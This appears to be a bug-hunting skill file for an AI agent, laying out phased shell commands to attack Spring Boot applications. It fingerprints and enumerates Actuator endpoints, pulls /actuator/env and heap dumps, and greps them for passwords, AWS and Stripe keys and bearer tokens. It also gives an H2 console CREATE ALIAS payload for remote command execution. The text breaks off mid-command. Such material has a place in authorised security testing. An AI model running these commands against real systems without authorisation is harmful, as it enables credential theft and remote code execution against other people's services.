$npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-springbootHunt Spring Boot specific vulnerabilities — Actuator endpoints (heapdump, env, loggers, mappings, shutdown), Spring Expression Language (SpEL) injection → RCE, H2 console RCE, Jolokia JMX exposure, Spring4Shell (CVE-2022-22965), Spring Cloud Function SPEL (CVE-2022-22963), heap d
| 1 | # HUNT-SPRINGBOOT — Spring Boot Specific Vulnerabilities |
| 2 | |
| 3 | ## Crown Jewel Targets |
| 4 | |
| 5 | Spring Boot Actuator `/actuator/heapdump` exposed = heap dump with all secrets in memory. |
| 6 | |
| 7 | **Highest-value findings:** |
| 8 | - **`/actuator/heapdump`** — full JVM heap dump contains plaintext passwords, tokens, DB credentials, private keys stored anywhere in memory |
| 9 | - **`/actuator/env`** — lists all environment variables and Spring properties including secrets |
| 10 | - **`/actuator/shutdown`** — POST → shuts down the application (Critical availability impact) |
| 11 | - **H2 Console (`/h2-console`)** — in-memory DB admin UI → SQL query execution → potential RCE via `CREATE ALIAS` trick |
| 12 | - **SpEL injection** — Spring Expression Language in template fields, `@Value` annotations, SpEL-processed request params → RCE |
| 13 | - **Spring4Shell CVE-2022-22965** — Spring Framework < 5.3.18 + Tomcat → RCE via data binding |
| 14 | |
| 15 | --- |
| 16 | |
| 17 | ## Phase 1 — Fingerprint Spring Boot |
| 18 | |
| 19 | ```bash |
| 20 | # Spring Boot indicators |
| 21 | curl -sI https://$TARGET/ | grep -i "x-application-context\|x-content-type" |
| 22 | curl -s "https://$TARGET/nonexistent" | grep -i "Whitelabel Error Page\|Spring Boot\|org.springframework" |
| 23 | |
| 24 | # Actuator root (may list available endpoints) |
| 25 | curl -s "https://$TARGET/actuator" | python3 -m json.tool 2>/dev/null |
| 26 | curl -s "https://$TARGET/actuator/" | python3 -m json.tool 2>/dev/null |
| 27 | |
| 28 | # Try common base paths |
| 29 | for base in "" "/manage" "/management" "/app"; do |
| 30 | STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$base/actuator") |
| 31 | [ "$STATUS" = "200" ] && echo "[+] Actuator at: $TARGET$base/actuator" |
| 32 | done |
| 33 | ``` |
| 34 | |
| 35 | --- |
| 36 | |
| 37 | ## Phase 2 — Actuator Endpoint Enumeration |
| 38 | |
| 39 | ```bash |
| 40 | BASE="https://$TARGET/actuator" |
| 41 | |
| 42 | # High-impact endpoints |
| 43 | ENDPOINTS=("env" "heapdump" "threaddump" "mappings" "beans" "metrics" |
| 44 | "loggers" "info" "health" "configprops" "shutdown" "trace" |
| 45 | "httptrace" "auditevents" "sessions" "scheduledtasks" "caches" |
| 46 | "flyway" "liquibase" "refresh" "restart") |
| 47 | |
| 48 | for EP in "${ENDPOINTS[@]}"; do |
| 49 | # Don't trust HTTP 200 alone — Spring returns 200 with a Whitelabel/login |
| 50 | # page for many paths. Require actuator-shaped JSON (or a heapdump body) |
| 51 | # before calling it EXPOSED. |
| 52 | BODY=$(curl -s -H "Accept: application/json" "$BASE/$EP") |
| 53 | CT=$(curl -s -o /dev/null -w "%{content_type}" -H "Accept: application/json" "$BASE/$EP") |
| 54 | if echo "$CT" | grep -qi "json" && ! echo "$BODY" | grep -qi "Whitelabel Error Page\|<html"; then |
| 55 | echo "[+] EXPOSED: $BASE/$EP" |
| 56 | fi |
| 57 | done |
| 58 | |
| 59 | # Get environment variables (passwords, API keys) |
| 60 | curl -s "$BASE/env" | python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key\|token\|credential" | head -20 |
| 61 | |
| 62 | # Get all endpoint mappings (full API surface) |
| 63 | curl -s "$BASE/mappings" | python3 -m json.tool 2>/dev/null | grep -oP '"pattern":"\K[^"]+' | sort |
| 64 | |
| 65 | # Get Spring beans (lists all registered beans, reveals internal architecture) |
| 66 | curl -s "$BASE/beans" | python3 -m json.tool 2>/dev/null | head -100 |
| 67 | ``` |
| 68 | |
| 69 | --- |
| 70 | |
| 71 | ## Phase 3 — Heap Dump Analysis |
| 72 | |
| 73 | ```bash |
| 74 | # Download heap dump (can be large — 100MB+) |
| 75 | curl -s "$BASE/heapdump" -o /tmp/heapdump.hprof |
| 76 | ls -lh /tmp/heapdump.hprof |
| 77 | |
| 78 | # Quick grep for secrets in heap dump (binary file — use strings) |
| 79 | strings /tmp/heapdump.hprof | grep -iE "(password|secret|apikey|api_key|token|bearer|private_key)" | \ |
| 80 | grep -v "^[a-z_]" | sort -u | head -50 |
| 81 | |
| 82 | # More targeted extraction |
| 83 | strings /tmp/heapdump.hprof | grep -oP "(?:password|passwd|pwd)\s*[=:]\s*\S+" | sort -u | head -20 |
| 84 | strings /tmp/heapdump.hprof | grep -oP "AKIA[A-Z0-9]{16}" | sort -u # AWS keys |
| 85 | strings /tmp/heapdump.hprof | grep -oP "sk_live_[A-Za-z0-9]+" | sort -u # Stripe keys |
| 86 | strings /tmp/heapdump.hprof | grep -oP "Bearer [A-Za-z0-9._-]+" | sort -u # Bearer tokens |
| 87 | |
| 88 | # Use Eclipse Memory Analyzer (MAT) for deep analysis |
| 89 | # https://www.eclipse.org/mat/ |
| 90 | ``` |
| 91 | |
| 92 | --- |
| 93 | |
| 94 | ## Phase 4 — H2 Console RCE |
| 95 | |
| 96 | ```bash |
| 97 | # H2 console detection |
| 98 | curl -s "https://$TARGET/h2-console" | grep -i "H2 Console\|H2 Database" |
| 99 | curl -s "https://$TARGET/h2" | grep -i "H2 Console" |
| 100 | curl -s "https://$TARGET/console" | grep -i "H2" |
| 101 | |
| 102 | # Default credentials: sa / (empty password) |
| 103 | # JDBC URL: jdbc:h2:mem:testdb |
| 104 | |
| 105 | # If accessible, RCE via CREATE ALIAS: |
| 106 | # SQL to execute: |
| 107 | # CREATE ALIAS EXEC AS $$ String exec(String cmd) throws Exception { |
| 108 | # Runtime rt = Runtime.getRuntime(); |
| 109 | # String[] commands = {"sh","-c",cmd}; |
| 110 | # Process proc = rt.exec(commands); |
| 111 | # return new String(proc.getInputStream().readAllBytes()); |
| 112 | # } $$; |
| 113 | # CALL EXE |